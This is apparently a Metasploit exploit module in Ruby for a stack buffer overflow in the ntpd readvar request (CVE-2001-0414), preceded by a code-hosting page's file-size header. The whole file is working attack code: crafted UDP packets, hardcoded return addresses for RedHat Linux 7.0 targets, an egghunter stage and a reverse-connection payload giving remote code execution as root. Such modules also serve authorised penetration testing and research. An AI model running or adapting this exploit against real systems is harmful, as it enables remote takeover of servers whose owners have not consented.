94 lines
2.8 KiB
Ruby
94 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NTP Daemon readvar Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in the
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ntpd and xntpd service. By sending an overly long 'readvar'
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request it is possible to execute code remotely. As the stack
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is corrupted, this module uses the Egghunter technique.
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},
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'Author' => 'patrick',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2001-0414' ],
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[ 'OSVDB', '805' ],
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[ 'BID', '2540' ],
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[ 'US-CERT-VU', '970472' ],
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],
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'Payload' =>
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{
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'Space' => 220,
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'BadChars' => "\x00\x01\x02\x16,=",
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'StackAdjustment' => -3500,
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'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
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'Compat' =>
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{
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'ConnectionType' => '-reverse',
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},
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},
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86 ],
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'Targets' =>
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[
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[ 'RedHat Linux 7.0 ntpd 4.0.99j', { 'Ret' => 0xbffffbb0 } ],
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[ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug', { 'Ret' => 0xbffff980 } ],
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[ 'RedHat Linux 7.0 ntpd 4.0.99k', { 'Ret' => 0xbffffbb0 } ],
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#[ 'FreeBSD 4.2-STABLE', { 'Ret' => 0xbfbff8bc } ],
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[ 'Debugging', { 'Ret' => 0xdeadbeef } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Apr 04 2001',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(123)], self.class)
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end
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def exploit
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hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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egg = hunter[1]
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connect_udp
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pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
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pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"
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sploit = pkt1 + make_nops(512 - pkt1.length)
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sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
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sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]
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print_status("Trying target #{target.name}...")
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print_status("Sending hunter")
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udp_sock.put(sploit)
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select(nil,nil,nil,0.5)
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print_status("Sending payload")
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udp_sock.put(pkt1 + egg)
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select(nil,nil,nil,0.5)
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print_status("Calling overflow trigger")
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udp_sock.put(pkt2)
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select(nil,nil,nil,0.5)
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handler
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disconnect_udp
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end
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end
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